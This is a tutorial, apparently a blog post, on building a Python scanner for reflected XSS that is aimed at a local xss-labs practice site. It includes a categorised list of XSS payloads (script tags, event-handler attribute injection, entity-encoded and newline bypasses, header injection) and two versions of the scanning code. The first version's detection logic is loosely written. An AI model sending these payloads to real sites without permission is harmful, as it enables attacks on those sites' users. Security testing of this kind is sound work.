Python Development of XSS Scanner1. Basic Approach1. Target Scanning2. Core Detection Logic3. Extensibility Design2. Code Implementation1. Dictionary File2. Python Code
Python Development of XSS Scanner
1. Basic Approach
1. The overall approach is to send a request with a payload parameter value and determine the existence of the payload from the response (triggering reflected XSS).
2. Prepare a dictionary that includes as many payloads as possible and categorize each payload.
3. Different types of payloads should have different request sending methods and different response detection techniques.
4. Aim for precise detection to avoid situations where any presence of a payload on the webpage counts, but rather check if the payload is a normal string or indeed executable.
5. Such XSS scanning tools are usually more suitable for scanning reflected XSS and less applicable for stored XSS. For stored XSS, developing a tool cannot clearly identify which page the response is on, which is the main issue, although it can theoretically be resolved.
6. Python can also handle HTML entity character conversion.
7. In cases where there are multiple parameters in the URL address bar or POST request body, parameters need to be decomposed, and each parameter must be assigned the value of the payload.
1. Target Scanning
Focus on detecting reflected XSS vulnerabilities by constructing requests containing payloads and analyzing the response content to determine the existence of vulnerabilities. For stored XSS, additional page traversal logic is required (extensible functionality).
2. Core Detection Logic
-
Request Construction: Inject payloads into URL parameters, request headers (Referer/User-Agent/Cookie), etc.
-
Response Validation: Not only check if the payload exists but also verify if it is in an executable context (e.g., within HTML tags, in attribute values).
-
False Positive Control: Determine if the payload is escaped or merely stored as a string based on contextual features.
3. Extensibility Design
-
Support for GET/POST request methods
-
Configurable payload dictionary path
-
Support for custom detection rules
-
Compatible with HTML entity encoding / URL encoding scenarios
2. Code Implementation
1. Dictionary File
Normal indicates that the payload has an independent position and cannot be inside a string or any attribute. In this case, the second position before the payload must not be an equal sign, which would indicate a string situation, for example, <span>="xxx"</span>
Prop indicates that the payload exists in an attribute value.
Normal:<script>alert(1)</script>
Prop:x" onclick="alert(2)
Prop:x' onclick='alert(3)
Prop:x" onclick="alert(4)
Prop:x"><a href="javascript:alert(5)">yy</a>
Prop:x" ONclick="alert(6)
Double:x" oonnclick="alert(7)
Escape:javascript:alert(8)
Prop:x" onclick="alert(10)" type="button
Referer:x" onclick="alert(11)" type="button
User-Agent:x" onclick="alert(12)" type="button
Cookie:user=x" onclick="alert(13)" type="button
Replace:test<img%0asrc=1%0aonerror=alert(16)>
Normal:1111 onmouseover=alert(17)
Normal:1111 onmouseover=alert(18)
# Basic Script Type
Normal:<script>alert(document.domain)</script>
Normal:<img src=x onerror=alert(1)>
Normal:<svg onload=alert(2)>
# Attribute Injection Type
Prop:x" onclick="alert(3)
Prop:x' onmouseover='alert(4)
Prop:x" onfocus="alert(5)" autofocus
# Encoding Bypass Type
Escape:javascript:alert(6)
Escape:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x0074;:alert(7)
# Event Trigger Type
Normal:123 onmouseover=alert(8)
Normal:456 onload=alert(9)
# Tag Bypass Type
Prop:x"><script>alert(10)</script>
Prop:x'><img src=x onerror=alert(11)>
# Request Header Injection Type
Referer:referer_x" onclick="alert(12)
User-Agent:ua_x' onmouseover='alert(13)
Cookie:cookie_x" onfocus="alert(14)" autofocus
# Special Character Bypass Type
Replace:test<img%0asrc=1%0aonerror=alert(15)>
Replace:test<script%0d>alert(16)</script>
2. Python Code
import requests
# Handling HTML entity character encoding
def entity_html(source):
entity_html = ''
for c in source:
entity_html += '&#x' + hex(ord(c)).replace('0x', '') + ';'
return entity_html
# Detect if the payload is valid from the response, similar to checking the source code after injection
def check_resp(resp, payload, type):
index = resp.find(payload)
profix = resp[index - 2:index - 1]
if (type == 'Normal' and profix != '=' and index > 0):
return True
elif (type == 'Prop' and profix == '=' and index > 0):
return True
elif (index > 0):
return True
return False
# Main scanning function
def xss_scan(location):
# Decompose URL address and parameters
URL = location.split('?')[0]
param_list = location.split('?')[1].split('&')
with open('./xssdict.txt', mode='r') as file:
payload_list = file.readlines()
for param in param_list:
key = param.split('=')[0]
for payload in payload_list:
type = payload.split(':', 1)[0]
payload = payload.strip().split(':', 1)[1]
if (type == 'Referer' or type == 'User-Agent' or type == 'Cookie'):
header = {type: payload}
resp = requests.get(url=URL, headers=header)
else:
params = {}
if (type == 'Escape'):
params[key] = entity_html(payload)
else:
params[key] = payload
resp = requests.get(url=URL, params=params)
if check_resp(resp.text, payload, type):
print(f'There is an XSS vulnerability here: {payload}')
if __name__ == '__main__':
# target='http://192.168.1.9/xss-labs/level5.php?keyword=xxx'
# target='http://192.168.1.9/xss-labs/level8.php?keyword=xxx'
target='http://192.168.1.9/xss-labs/level17.php?arg01=a&arg02=b'
xss_scan(target)
# Below is debugging code
# param_list = target.split('?')[1].split('&')
# print(len(param_list))
# index = target.find('//')
# profix = target[index - 2:index - 1]
# print(profix)
# str = entity_html(target)
# print(str)
# for payload in payload_list:
# type = payload.split(':', 1)[0]
# payload = payload.strip().split(':', 1)[1]
# params = {}
# url = 'http://192.168.1.9/xss-labs/level8.php?keyword=&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0038;&#x0029;&submit=添加友情链接'
# resp = requests.get(url=url)
# print(resp.text)
Optimized version is as follows:
import requests
import urllib.parse
from urllib.parse import urlparse, parse_qs, urlunparse
class XSSScanner:
def __init__(self, payload_file="./xssdict.txt", timeout=10):
self.payloads = self.load_payloads(payload_file)
self.timeout = timeout
self.session = requests.Session() # Maintain session state
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (XSS Scanner) Gecko/20100101 Firefox/91.0"
})
def load_payloads(self, file_path):
"""Load and parse payload dictionary"""
payloads = []
try:
with open(file_path, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#'):
continue
if ':' in line:
payload_type, payload = line.split(':', 1)
payloads.append((payload_type.strip(), payload.strip()))
except FileNotFoundError:
print(f"Error: Payload file {file_path} not found.")
return payloads
def encode_payload(self, payload, encoding_type):
"""Payload encoding processing"""
if encoding_type == "html":
return self.entity_html(payload)
elif encoding_type == "url":
return urllib.parse.quote(payload)
return payload
def entity_html(self, source):
"""HTML entity encoding conversion"""
return ''.join(f'&#x{hex(ord(c))[2:]};' for c in source)
def parse_url(self, url):
"""Parse URL to get basic information"""
parsed = urlparse(url)
query_params = parse_qs(parsed.query)
# Convert to single-value dictionary (handle multi-value parameters)
params = {k: v[0] for k, v in query_params.items()}
return {
"base_url": urlunparse(parsed._replace(query="")),
"params": params
}
def check_payload_context(self, response_text, payload, payload_type):
"""Check the validity of the payload context"""
index = response_text.find(payload)
if index == -1:
return False
# Validate context based on payload type
if payload_type == "Normal":
# Normal type: the first two characters should not be equal (to avoid attribute value scenarios)
if index >= 2 and response_text[index - 2:index - 1] != '=':
return True
elif payload_type == "Prop":
# Property type: the previous character should be equal
if index >= 1 and response_text[index - 1] == '=':
return True
elif payload_type in ["Escape", "Replace"]:
# Encoding/replacement type: just needs to exist to be potentially valid
return True
elif payload_type in ["Referer", "User-Agent", "Cookie"]:
# Header injection type: validate special markers exist
return True
return False
def scan_get_request(self, url):
"""Scan GET request parameters"""
parsed = self.parse_url(url)
base_url = parsed["base_url"]
params = parsed["params"]
if not params:
print("Warning: No parameters found in URL, skipping GET scan.")
return
for param in params:
original_value = params[param]
for payload_type, payload in self.payloads:
# Skip payloads of request header type
if payload_type in ["Referer", "User-Agent", "Cookie"]:
continue
# Construct parameters
test_params = params.copy()
if payload_type == "Escape":
test_params[param] = self.encode_payload(payload, "html")
else:
test_params[param] = payload
try:
response = self.session.get(
base_url,
params=test_params,
timeout=self.timeout,
allow_redirects=False
)
# Check response
if self.check_payload_context(response.text, payload, payload_type):
print(f"[!] Possible XSS vulnerability (GET parameter: {param})")
print(f" Payload: {payload}")
print(f" Test URL: {response.url}\n")
except Exception as e:
print(f"Request error: {str(e)}")
def scan_headers(self, url):
"""Scan request header injection points"""
parsed = self.parse_url(url)
base_url = parsed["base_url"]
headers_to_test = ["Referer", "User-Agent", "Cookie"]
for payload_type, payload in self.payloads:
if payload_type not in headers_to_test:
continue
# Save original header information
original_header = self.session.headers.get(payload_type)
# Set test header
self.session.headers[payload_type] = payload
try:
response = self.session.get(
base_url,
params=parsed["params"],
timeout=self.timeout,
allow_redirects=False
)
if self.check_payload_context(response.text, payload, payload_type):
print(f"[!] Possible XSS vulnerability ({payload_type} header)")
print(f" Payload: {payload}\n")
except Exception as e:
print(f"Request error: {str(e)}")
finally:
# Restore original header
if original_header is None:
del self.session.headers[payload_type]
else:
self.session.headers[payload_type] = original_header
def scan(self, url):
"""Execute complete scanning process"""
print(f"Starting scan on target: {url}")
self.scan_get_request(url)
self.scan_headers(url)
print("Scan complete")
if __name__ == "__main__":
# Example targets
targets = [
"http://192.168.1.9/xss-labs/level5.php?keyword=xxx",
"http://192.168.1.9/xss-labs/level8.php?keyword=xxx",
"http://192.168.1.9/xss-labs/level17.php?arg01=a&arg02=b"
]
scanner = XSSScanner()
for target in targets:
scanner.scan(target)